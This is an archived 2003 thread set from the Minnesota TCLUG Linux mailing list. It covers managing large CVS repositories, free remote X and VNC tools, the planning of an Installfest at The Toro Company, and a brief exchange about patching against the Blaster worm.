16:29:24 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? Message-ID: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> I did some googling and couldn't really find any helpful info on this, so I'm posting here. When your cvs repository gets large enough that a cvs update -dP takes 15mins, and cvs commit at just as long, what do you do? Most of the time is just passing through directories, doing nothing. Do you tag the working part of the code and just work there? Only cvs update the whole thing every week? All ideas are welcome :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 13 16:55:25 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Looking for an Emulator In-Reply-To: <003c01c361d5$1f9e4420$6501a8c0@isd.net> References: <003c01c361d5$1f9e4420$6501a8c0@isd.net> Message-ID: On Wed, 13 Aug 2003 14:57:27 -0500, Sam MacDonald wrote: > I'm looking for software like Exceed that will let me run a remote X > session. > I need something that will not impact my pocket at all, free = :o) If > it > has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 > Clients > for W95, 98, and 2K. Check out VNC at http://www.realvnc.com/ You run a server on yer Redhat box, and install client on windows. Gives you a "desktop" session off of the Redhat box, but displayed on the windows side. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Wed Aug 13 16:47:52 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Have date for Installfest Message-ID: So, based on the bit of discussion, here's what I'm going to do: September Installfest Saturday, September 13th 10:00-5:00 (or thereabouts) The Toro Company 8111 Lyndale Ave S Bloomington, MN 55420 Corner of 82nd and Lyndale, just south of 494 and Lyndale Main entrance is on 82nd - park in the parking ramp Sign in with Security guard will likely be necessary Any final comments? I'm new to this, be gentle. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> bruce.broecker@toro.com 08/11/03 11:12AM >>> Here's what I have available: 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching equipment. Cisco Aironet AP1200, if desired. at least 3 separate 20 amp circuits (possibly more). tables and chairs (it's a big conference room laid out in presentation format). SVGA projector, if somebody wants to project an install on the big screen. Plenty of parking. What will be needed: Patch cords - most of what I have are shorter lengths and we will probably need longer stuff. Power strips and extension cords, of course. I'm going to post a notice to my IS department, as well as our engineering group, so there is a possibility of substantial numbers of new faces (including mine, since I've only participated virtually). Bruce Broecker Network Comm Supervisor The Toro Company _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Wed Aug 13 18:34:40 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <20030813233440.GA23212@skuld.wookimus.net> On Wed, Aug 13, 2003 at 04:29:24PM -0500, Bob Tanner wrote: > When your cvs repository gets large enough that a cvs update -dP takes > 15mins, and cvs commit at just as long, what do you do? Perhaps, if you start breaking up things into modules? Might be a good time to refactor things a bit and reorganize the code into functional groups. How about only committing subdirectories that you make changes in? Convert to subversion? ;-) Etc. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Wed Aug 13 19:53:38 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <005401c361fe$7fb435d0$0201a8c0@brinstar> Bob Tanner writes: > When your cvs repository gets large enough that a cvs update -dP > takes 15mins, and cvs commit at just as long, what do you do? http://www.bitkeeper.com/ CVS is not very efficient and has a lot of deficiencies (like no renames). Buying a better source management system such as BitKeeper might be worth your while: http://www.bitkeeper.com/Products.Comparisons.CVS.html Other than that, your best bet is to split up your repository into multiple repositories. Chances are, you don't need everything in one repository. If you do, then you either need re-evaluate your development practices, or you are developing something so large that you should be looking at a better source management system. OT: If you want to look at new free revision control system that is very cool, check out darcs: http://abridgegame.org/darcs/ -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Wed Aug 13 20:41:40 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:19 2005 Subject: [TCLUG] Looking for an Emulator Message-ID: This might fit the bill... http://www.thecyborg.com/howto/xserver.html --- Troy Johnson - troy.johnson@health.state.mn.us Programmer / System Administrator Minnesota Cancer Surveillance System - MDH >>> smac@visi.com 08/13/03 14:57 PM >>> I'm looking for software like Exceed that will let me run a remote X session. I need something that will not impact my pocket at all, free = :o) If it has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 Clients for W95, 98, and 2K. I've installed and am running Webmin, that gives me most of what I need remote. I want to work with my websites in the environments they live in. That way I can use the native tools and build my skill set. I'm unemployed and need to get more skills with Linux. I'm finding many positions requiring Windows and Linux. Being a Windows SA just isn't cutting it. This is my LAN setup, just in case you would like to know. W2K Server sp4 Compaq Proliant 2500 (I know Compaq hardware) 2 @ 200 MHz Ppro 512k cache each 384 Mb ram 5@4.2 gig drives - Raid 5 100 mbt network Linux - Redhat 6.2 (it was 7 bucks in the box). P200 64 Mb ram 2.5 gig ATA disk 6x CD-ROM 10 mbt network (isa) Network Cisco 678 Linksys router (lets me use ports for fun stuff) Asantie` 10/100 switch w95 and w98 clients, my old laptop will be Linux at the install fest :) http://www.screechowl.org for w2k, apache, MySQL, php box http://www.screechowl.org:1001 for Linux, apache, php box did I say I'm learning PHP and MySQL... Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kbongers at infinetivity.com Wed Aug 13 17:41:43 2003 From: kbongers at infinetivity.com (Karl Bongers) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <20030813233440.GA23212@skuld.wookimus.net> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030813233440.GA23212@skuld.wookimus.net> Message-ID: <20030813224143.GA363@duron> > On Wed, Aug 13, 2003 at 04:29:24PM -0500, Bob Tanner wrote: > > When your cvs repository gets large enough that a cvs update -dP takes > > 15mins, and cvs commit at just as long, what do you do? A cvs checkout on a 18M project(sdcc) on sourceforge just took about 1 minute. Afterwards a cvs update took about 5 seconds. How large can your repository be? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 13 22:36:43 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Looking for an Emulator References: Message-ID: <002f01c36215$484f55e0$6501a8c0@isd.net> I tried this. I get an rshd connection, I get a window on my PC with a nice X but I'm not sure what to do from that point :-/ I'll work/read on it more tomorrow, I need some sleep. Hey in about an hour I got it going :o) Anyone else use this? ----- Original Message ----- From: "Troy.A Johnson" To: Sent: Wednesday, August 13, 2003 8:41 PM Subject: Re: [TCLUG] Looking for an Emulator > This might fit the bill... > > http://www.thecyborg.com/howto/xserver.html > > --- > Troy Johnson - troy.johnson@health.state.mn.us > Programmer / System Administrator > Minnesota Cancer Surveillance System - MDH > >>> smac@visi.com 08/13/03 14:57 PM >>> > I'm looking for software like Exceed that will let me run a remote X > session. > I need something that will not impact my pocket at all, free = :o) If > it > has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 Clients > for W95, 98, and 2K. > > I've installed and am running Webmin, that gives me most of what I need > remote. I want to work with my websites in the environments they live in. > That way I can use the native tools and build my skill set. I'm unemployed > and need to get more skills with Linux. I'm finding many positions > requiring Windows and Linux. Being a Windows SA just isn't cutting it. > > This is my LAN setup, just in case you would like to know. > W2K Server sp4 > Compaq Proliant 2500 (I know Compaq hardware) > 2 @ 200 MHz Ppro 512k cache each > 384 Mb ram > 5@4.2 gig drives - Raid 5 > 100 mbt network > Linux - Redhat 6.2 (it was 7 bucks in the box). > P200 > 64 Mb ram > 2.5 gig ATA disk > 6x CD-ROM > 10 mbt network (isa) > Network > Cisco 678 > Linksys router (lets me use ports for fun stuff) > Asantie` 10/100 switch > w95 and w98 clients, my old laptop will be Linux at the install fest :) > > http://www.screechowl.org for w2k, apache, MySQL, php box > http://www.screechowl.org:1001 for Linux, apache, php box > > did I say I'm learning PHP and MySQL... > > Sam. > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 14 07:50:03 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Message-ID: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> Am I the only one who sees the title of this thread and gets a little jealous? I would love to have a date for installfest....alas my wife hates computers Dan Lansing ITSC -----Original Message----- From: Bruce Broecker [mailto:bruce.broecker@toro.com] Sent: Wednesday, August 13, 2003 4:48 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Have date for Installfest So, based on the bit of discussion, here's what I'm going to do: September Installfest Saturday, September 13th 10:00-5:00 (or thereabouts) The Toro Company 8111 Lyndale Ave S Bloomington, MN 55420 Corner of 82nd and Lyndale, just south of 494 and Lyndale Main entrance is on 82nd - park in the parking ramp Sign in with Security guard will likely be necessary Any final comments? I'm new to this, be gentle. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> bruce.broecker@toro.com 08/11/03 11:12AM >>> Here's what I have available: 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching equipment. Cisco Aironet AP1200, if desired. at least 3 separate 20 amp circuits (possibly more). tables and chairs (it's a big conference room laid out in presentation format). SVGA projector, if somebody wants to project an install on the big screen. Plenty of parking. What will be needed: Patch cords - most of what I have are shorter lengths and we will probably need longer stuff. Power strips and extension cords, of course. I'm going to post a notice to my IS department, as well as our engineering group, so there is a possibility of substantial numbers of new faces (including mine, since I've only participated virtually). Bruce Broecker Network Comm Supervisor The Toro Company _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 14 08:08:53 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> Message-ID: <20030814080853.229f61b6.sfertch@real-time.com> On Thu, 14 Aug 2003 07:50:03 -0500 "Lansing, Dan" wrote: > Am I the only one who sees the title of this thread and gets a little > jealous? I would love to have a date for installfest....alas my wife > hates computers > I thought about it on seeing the first post, but didn't want to say anything.... My wife doesn't hate 'em, I think she'd just be way to bored there! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 14 08:02:34 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> Message-ID: Recent conversation at fulcrum house: Fulcrum: Hey - wanna go to a linux install fest on the 13th of sept? FulcrumWife: linux ?!?! Installfest?!?! as in installing linux? fulcrum: Yeah... 10am - 5pm... FulcrumWife: Like sit around and install Linux?!?! Fulcrum: Yeah! fun eh? It's just up the road at the Toro company! We could ride our bikes! FulcrumWife: Toro? Linux? Why the heck would Toro be installing linux - don't they make lawnmowers? Fulcrum: never mind.... On Thu, 14 Aug 2003 07:50:03 -0500, Lansing, Dan wrote: > Am I the only one who sees the title of this thread and gets a little > jealous? I would love to have a date for installfest....alas my wife > hates computers > > Dan Lansing > ITSC > > -----Original Message----- > From: Bruce Broecker [mailto:bruce.broecker@toro.com] Sent: Wednesday, > August 13, 2003 4:48 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Have date for Installfest > > So, based on the bit of discussion, here's what I'm going to do: > > September Installfest > Saturday, September 13th > 10:00-5:00 (or thereabouts) > The Toro Company > 8111 Lyndale Ave S > Bloomington, MN 55420 > Corner of 82nd and Lyndale, just south of 494 and Lyndale > Main entrance is on 82nd - park in the parking ramp > Sign in with Security guard will likely be necessary > > Any final comments? I'm new to this, be gentle. > > Bruce > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > >>>> bruce.broecker@toro.com 08/11/03 11:12AM >>> > Here's what I have available: > > 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching > equipment. > Cisco Aironet AP1200, if desired. > at least 3 separate 20 amp circuits (possibly more). > tables and chairs (it's a big conference room laid out in presentation > format). > SVGA projector, if somebody wants to project an install on the big > screen. > Plenty of parking. > > What will be needed: > Patch cords - most of what I have are shorter lengths and we will > probably need longer stuff. > Power strips and extension cords, of course. > > I'm going to post a notice to my IS department, as well as our > engineering group, so there is a possibility of substantial numbers of > new faces (including mine, since I've only participated virtually). > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Thu Aug 14 08:02:54 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Looking for an Emulator In-Reply-To: <002f01c36215$484f55e0$6501a8c0@isd.net> References: <002f01c36215$484f55e0$6501a8c0@isd.net> Message-ID: Don't know what kind of network you're on, but the rsh command in the "cyborg" example looks as if you're passing the root password accross the network in plain text: >>>> rsh -l root 192.168.100.10 "xterm -display 192.168.100.25:0.0 -title >>>> Exit -e nohup /root/xcyborg > start.log &" might want to see if you can use ssh instead of rsh.... VNC (http://www.realvnc.com) encrypts the initial password exchange between client and server, and if you want to encrypt all traffic over a vnc connection - you can use SSH and port reditection on the client end. On Wed, 13 Aug 2003 22:36:43 -0500, Sam MacDonald wrote: > I tried this. > I get an rshd connection, I get a window on my PC with a nice X but I'm > not > sure what to do from that point :-/ > I'll work/read on it more tomorrow, I need some sleep. Hey in about an > hour > I got it going :o) > > Anyone else use this? > > > ----- Original Message ----- > From: "Troy.A Johnson" > To: > Sent: Wednesday, August 13, 2003 8:41 PM > Subject: Re: [TCLUG] Looking for an Emulator > > >> This might fit the bill... >> >> http://www.thecyborg.com/howto/xserver.html >> >> --- >> Troy Johnson - troy.johnson@health.state.mn.us >> Programmer / System Administrator >> Minnesota Cancer Surveillance System - MDH >> >>> smac@visi.com 08/13/03 14:57 PM >>> >> I'm looking for software like Exceed that will let me run a remote X >> session. >> I need something that will not impact my pocket at all, free = :o) >> If >> it >> has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 > Clients >> for W95, 98, and 2K. >> >> I've installed and am running Webmin, that gives me most of what I need >> remote. I want to work with my websites in the environments they live >> in. >> That way I can use the native tools and build my skill set. I'm > unemployed >> and need to get more skills with Linux. I'm finding many positions >> requiring Windows and Linux. Being a Windows SA just isn't cutting it. >> >> This is my LAN setup, just in case you would like to know. >> W2K Server sp4 >> Compaq Proliant 2500 (I know Compaq hardware) >> 2 @ 200 MHz Ppro 512k cache each >> 384 Mb ram >> 5@4.2 gig drives - Raid 5 >> 100 mbt network >> Linux - Redhat 6.2 (it was 7 bucks in the box). >> P200 >> 64 Mb ram >> 2.5 gig ATA disk >> 6x CD-ROM >> 10 mbt network (isa) >> Network >> Cisco 678 >> Linksys router (lets me use ports for fun stuff) >> Asantie` 10/100 switch >> w95 and w98 clients, my old laptop will be Linux at the install fest :) >> >> http://www.screechowl.org for w2k, apache, MySQL, php box >> http://www.screechowl.org:1001 for Linux, apache, php box >> >> did I say I'm learning PHP and MySQL... >> >> Sam. >> >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> http://www.mn-linux.org tclug-list@mn-linux.org >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> http://www.mn-linux.org tclug-list@mn-linux.org >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Thu Aug 14 08:16:38 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814080853.229f61b6.sfertch@real-time.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <20030814080853.229f61b6.sfertch@real-time.com> Message-ID: <3F3B8BB6.2050807@druswanderings.net> Shawn wrote: > My wife doesn't hate 'em, I think she'd just be way to bored there! > Maybe we need some sort of room where all our wives and girlfriends and swap stories while we are swapping distros. hmmmm. On second thought, maybe that's not such a good idea... -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 14 08:36:18 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <3F3B8BB6.2050807@druswanderings.net> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <20030814080853.229f61b6.sfertch@real-time.com> <3F3B8BB6.2050807@druswanderings.net> Message-ID: <20030814083618.054083bb.sfertch@real-time.com> On Thu, 14 Aug 2003 08:16:38 -0500 The Wandering Dru wrote: > Maybe we need some sort of room where all our wives and girlfriends > and swap stories while we are swapping distros. > > hmmmm. On second thought, maybe that's not such a good idea... > Definately NOT a good idea!!!! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Thu Aug 14 08:56:15 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Message-ID: Thanks Man, I needed that. We're fighting Blaster right now. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> johnnyfulcrum@mn.rr.com 08/14/03 08:02AM >>> Recent conversation at fulcrum house: Fulcrum: Hey - wanna go to a linux install fest on the 13th of sept? FulcrumWife: linux ?!?! Installfest?!?! as in installing linux? fulcrum: Yeah... 10am - 5pm... FulcrumWife: Like sit around and install Linux?!?! Fulcrum: Yeah! fun eh? It's just up the road at the Toro company! We could ride our bikes! FulcrumWife: Toro? Linux? Why the heck would Toro be installing linux - don't they make lawnmowers? Fulcrum: never mind.... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Thu Aug 14 09:14:28 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: Message-ID: <9DECC9DA-CE61-11D7-A059-000A9581A7A6@us-admins.com> On Thursday, Aug 14, 2003, at 08:56 US/Central, Bruce Broecker wrote: > Thanks Man, I needed that. We're fighting Blaster right now. Yeah well, now there's a new strain. As well as yet another DCOM RPC based worm called spybot. > > Bruce > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > >>>> johnnyfulcrum@mn.rr.com 08/14/03 08:02AM >>> > Recent conversation at fulcrum house: > > Fulcrum: Hey - wanna go to a linux install fest on the 13th of sept? > FulcrumWife: linux ?!?! Installfest?!?! as in installing linux? > fulcrum: Yeah... 10am - 5pm... > FulcrumWife: Like sit around and install Linux?!?! > Fulcrum: Yeah! fun eh? It's just up the road at the Toro company! We > could ride our bikes! > FulcrumWife: Toro? Linux? Why the heck would Toro be installing > linux - > don't they make lawnmowers? > Fulcrum: never mind.... > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Thu Aug 14 09:17:29 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Blaster ---WAS: [TCLUG]OT am i retarded? In-Reply-To: References: Message-ID: <20030814141729.GC2168@fandre.com> So why is everyone getting his with the Blaster? Doesn't anyone patch anymore? As soon as the DCOM exploit came out, it was obvious (to me) that a worm would soon follow. Was I the only one who realized that? Should I have shared that info with the rest of the world? I guess you can blame me then. Sorry everyone. On Thu, 14 Aug 2003, Bruce Broecker wrote: > Thanks Man, I needed that. We're fighting Blaster right now. > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Thu Aug 14 09:20:32 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Blaster ---WAS: [TCLUG]OT am i retarded? Message-ID: Yeah, we patched, and we patched. Problem is, we're talking about 3000+ systems, many of which are not under central control. Anyway, gotta go. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> clay@fandre.com 08/14/03 09:17AM >>> So why is everyone getting his with the Blaster? Doesn't anyone patch anymore? As soon as the DCOM exploit came out, it was obvious (to me) that a worm would soon follow. Was I the only one who realized that? Should I have shared that info with the rest of the world? I guess you can blame me then. Sorry everyone. On Thu, 14 Aug 2003, Bruce Broecker wrote: > Thanks Man, I needed that. We're fighting Blaster right now. > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 14 09:30:46 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] Blaster ---WAS: [TCLUG]OT am i retarded? In-Reply-To: References: Message-ID: <20030814093046.69d3f9d9.sfertch@real-time.com> On Thu, 14 Aug 2003 09:20:32 -0500 "Bruce Broecker" wrote: > Yeah, we patched, and we patched. Problem is, we're talking about > 3000+ systems, many of which are not under central control. > Ditto... It's also hard to transfer a lot of updates when people work remotely too... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 14 09:38:54 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:20 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> Message-ID: <001201c36271$ce65a420$6501a8c0@isd.net> My wife hate them as well, makes me think wives don't like the work or hobbies men have :o) ----- Original Message ----- From: "Lansing, Dan" To: Sent: Thursday, August 14, 2003 7:50 AM Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Am I the only one who sees the title of this thread and gets a little jealous? I would love to have a date for installfest....alas my wife hates computers Dan Lansing ITSC -----Original Message----- From: Bruce Broecker [mailto:bruce.broecker@toro.com] Sent: Wednesday, August 13, 2003 4:48 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Have date for Installfest So, based on the bit of discussion, here's what I'm going to do: September Installfest Saturday, September 13th 10:00-5:00 (or thereabouts) The Toro Company 8111 Lyndale Ave S Bloomington, MN 55420 Corner of 82nd and Lyndale, just south of 494 and Lyndale Main entrance is on 82nd - park in the parking ramp Sign in with Security guard will likely be necessary Any final comments? I'm new to this, be gentle. Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> bruce.broecker@toro.com 08/11/03 11:12AM >>> Here's what I have available: 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching equipment. Cisco Aironet AP1200, if desired. at least 3 separate 20 amp circuits (possibly more). tables and chairs (it's a big conference room laid out in presentation format). SVGA projector, if somebody wants to project an install on the big screen. Plenty of parking. What will be needed: Patch cords - most of what I have are shorter lengths and we will probably need longer stuff. Power strips and extension cords, of course. I'm going to post a notice to my IS department, as well as our engineering group, so there is a possibility of substantial numbers of new faces (including mine, since I've only participated virtually). Bruce Broecker Network Comm Supervisor The Toro Company _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 14 09:39:51 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:21 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> Message-ID: <001a01c36271$ef1a2380$6501a8c0@isd.net> LMAO ----- Original Message ----- From: "Johnny Fulcrum" To: Sent: Thursday, August 14, 2003 8:02 AM Subject: Re: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest > Recent conversation at fulcrum house: > > Fulcrum: Hey - wanna go to a linux install fest on the 13th of sept? > 